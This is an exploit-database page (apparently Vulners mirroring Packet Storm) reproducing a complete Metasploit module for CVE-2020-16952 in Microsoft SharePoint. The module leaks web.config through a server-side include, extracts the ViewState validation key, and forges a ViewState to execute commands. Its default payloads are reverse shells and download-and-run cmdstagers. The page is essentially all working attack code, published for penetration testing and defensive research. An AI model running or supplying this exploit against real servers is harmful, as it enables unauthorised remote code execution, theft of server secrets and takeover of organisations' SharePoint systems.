Lucene search
K

Microsoft SharePoint SSI / ViewState Remote Code Execution

🗓️ 19 Oct 2020 00:00:00Reported by mr_meType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 863 Views

This module exploits a server-side include (SSI) in SharePoint to leak the web.config file and forge a malicious ViewState with the extracted validation key. The exploit requires an authenticated user with page creation privileges, which is standard in SharePoint. This has been tested against SharePoint 2019 on Windows Server 2016

Related
Code
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::ViewState  
include Msf::Exploit::CmdStager  
include Msf::Exploit::Powershell  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Microsoft SharePoint Server-Side Include and ViewState RCE',  
'Description' => %q{  
This module exploits a server-side include (SSI) in SharePoint to leak  
the web.config file and forge a malicious ViewState with the extracted  
validation key.  
  
This exploit is authenticated and requires a user with page creation  
privileges, which is a standard permission in SharePoint.  
  
The web.config file will be stored in loot once retrieved, and the  
VALIDATION_KEY option can be set to short-circuit the SSI and trigger  
the ViewState deserialization.  
  
Tested against SharePoint 2019 on Windows Server 2016.  
},  
'Author' => [  
'mr_me', # Discovery and exploit  
'wvu' # Module  
],  
'References' => [  
['CVE', '2020-16952'],  
['URL', 'https://srcincite.io/advisories/src-2020-0022/'],  
['URL', 'https://srcincite.io/pocs/cve-2020-16952.py.txt'],  
['URL', 'https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-16952']  
],  
'DisclosureDate' => '2020-10-13', # Public disclosure  
'License' => MSF_LICENSE,  
'Platform' => 'win',  
'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],  
'Privileged' => false,  
'Targets' => [  
[  
'Windows Command',  
'Arch' => ARCH_CMD,  
'Type' => :win_cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'  
}  
],  
[  
'Windows Dropper',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :win_dropper,  
'CmdStagerFlavor' => %i[psh_invokewebrequest certutil vbs],  
'DefaultOptions' => {  
'CMDSTAGER::FLAVOR' => :psh_invokewebrequest,  
'PAYLOAD' => 'windows/x64/meterpreter_reverse_https'  
}  
],  
[  
'PowerShell Stager',  
'Arch' => [ARCH_X86, ARCH_X64],  
'Type' => :psh_stager,  
'DefaultOptions' => {  
'PAYLOAD' => 'windows/x64/meterpreter/reverse_https'  
}  
]  
],  
'DefaultTarget' => 2,  
'DefaultOptions' => {  
'DotNetGadgetChain' => :TypeConfuseDelegate  
},  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [UNRELIABLE_SESSION], # SSI may fail the second time  
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]  
}  
)  
)  
  
register_options([  
OptString.new('TARGETURI', [true, 'Base path', '/']),  
OptString.new('VALIDATION_KEY', [false, 'ViewState validation key']),  
# "Promote" these advanced options so we don't have to pass around our own  
OptString.new('HttpUsername', [false, 'SharePoint username']),  
OptString.new('HttpPassword', [false, 'SharePoint password'])  
])  
end  
  
def post_auth?  
true  
end  
  
def username  
datastore['HttpUsername']  
end  
  
def password  
datastore['HttpPassword']  
end  
  
def vuln_builds  
[  
[Gem::Version.new('15.0.0.4571'), Gem::Version.new('15.0.0.5275')], # SharePoint 2013  
[Gem::Version.new('16.0.0.4351'), Gem::Version.new('16.0.0.5056')], # SharePoint 2016  
[Gem::Version.new('16.0.0.10337'), Gem::Version.new('16.0.0.10366')] # SharePoint 2019  
]  
end  
  
def check  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path)  
)  
  
unless res  
return CheckCode::Unknown('Target did not respond to check.')  
end  
  
# Hat tip @tsellers-r7  
#  
# MicrosoftSharePointTeamServices: 16.0.0.10337: 1; RequireReadOnly  
unless (build_header = res.headers['MicrosoftSharePointTeamServices'])  
return CheckCode::Unknown('Target does not appear to be running SharePoint.')  
end  
  
unless (build = build_header.scan(/^([\d.]+):/).flatten.first)  
return CheckCode::Detected('Target did not respond with SharePoint build.')  
end  
  
if vuln_builds.any? { |build_range| Gem::Version.new(build).between?(*build_range) }  
return CheckCode::Appears("SharePoint #{build} is a vulnerable build.")  
end  
  
CheckCode::Safe("SharePoint #{build} is not a vulnerable build.")  
end  
  
def exploit  
unless username && password  
fail_with(Failure::BadConfig, 'HttpUsername and HttpPassword are required for exploitation')  
end  
  
if (@validation_key = datastore['VALIDATION_KEY'])  
print_status("Using ViewState validation key #{@validation_key}")  
else  
create_ssi_page  
leak_web_config  
end  
  
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")  
  
case target['Type']  
when :win_cmd  
execute_command(payload.encoded)  
when :win_dropper  
execute_cmdstager  
when :psh_stager  
execute_command(cmd_psh_payload(  
payload.encoded,  
payload.arch.first,  
remove_comspec: true  
))  
end  
end  
  
def create_ssi_page  
print_status("Creating page for SSI: #{ssi_path}")  
  
res = send_request_cgi(  
'method' => 'PUT',  
'uri' => ssi_path,  
'data' => ssi_page  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless [200, 201].include?(res.code)  
if res.code == 401  
fail_with(Failure::NoAccess, "Failed to auth with creds #{username}:#{password}")  
end  
  
fail_with(Failure::NotFound, 'Failed to create page')  
end  
  
print_good('Successfully created page')  
@page_created = true  
end  
  
def leak_web_config  
print_status('Leaking web.config')  
  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => ssi_path,  
'headers' => {  
ssi_header => '<form runat="server" /><!--#include virtual="/web.config"-->'  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::NotFound, "Failed to retrieve #{ssi_path}")  
end  
  
unless (web_config = res.get_xml_document.at('//configuration'))  
fail_with(Failure::NotFound, 'Failed to extract web.config from response')  
end  
  
print_good("Saved web.config to: #{store_loot('web.config', 'text/xml', rhost, web_config.to_xml, 'web.config', name)}")  
  
unless (@validation_key = extract_viewstate_validation_key(web_config))  
fail_with(Failure::NotFound, 'Failed to extract ViewState validation key')  
end  
  
print_good("ViewState validation key: #{@validation_key}")  
ensure  
delete_ssi_page if @page_created  
end  
  
def delete_ssi_page  
print_status("Deleting #{ssi_path}")  
  
res = send_request_cgi(  
'method' => 'DELETE',  
'uri' => ssi_path,  
'partial' => true  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 204  
print_warning('Failed to delete page')  
return  
end  
  
print_good('Successfully deleted page')  
end  
  
def execute_command(cmd, _opts = {})  
vprint_status("Executing command: #{cmd}")  
  
res = send_request_cgi(  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/_layouts/15/zoombldr.aspx'),  
'vars_post' => {  
'__VIEWSTATE' => generate_viewstate_payload(  
cmd,  
extra: pack_viewstate_generator('63E6434F'), # /_layouts/15/zoombldr.aspx  
algo: 'sha256',  
key: pack_viewstate_validation_key(@validation_key)  
)  
}  
)  
  
unless res  
fail_with(Failure::Unreachable, "Target did not respond to #{__method__}")  
end  
  
unless res.code == 200  
fail_with(Failure::PayloadFailed, "Failed to execute command: #{cmd}")  
end  
  
vprint_good('Successfully executed command')  
end  
  
def ssi_page  
<<~XML  
<WebPartPages:DataFormWebPart runat="server">  
<ParameterBindings>  
<ParameterBinding Name="#{ssi_param}" Location="ServerVariable(HTTP_#{ssi_header})" DefaultValue="" />  
</ParameterBindings>  
<xsl>  
<xsl:stylesheet xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="1.0">  
<xsl:param name="#{ssi_param}" />  
<xsl:template match="/">  
<xsl:value-of select="$#{ssi_param}" disable-output-escaping="yes" />  
</xsl:template>  
</xsl:stylesheet>  
</xsl>  
</WebPartPages:DataFormWebPart>  
XML  
end  
  
def ssi_path  
@ssi_path ||= normalize_uri(target_uri.path, "#{rand_text_alphanumeric(8..42)}.aspx")  
end  
  
def ssi_header  
@ssi_header ||= rand_text_alphanumeric(8..42)  
end  
  
def ssi_param  
@ssi_param ||= rand_text_alphanumeric(8..42)  
end  
  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation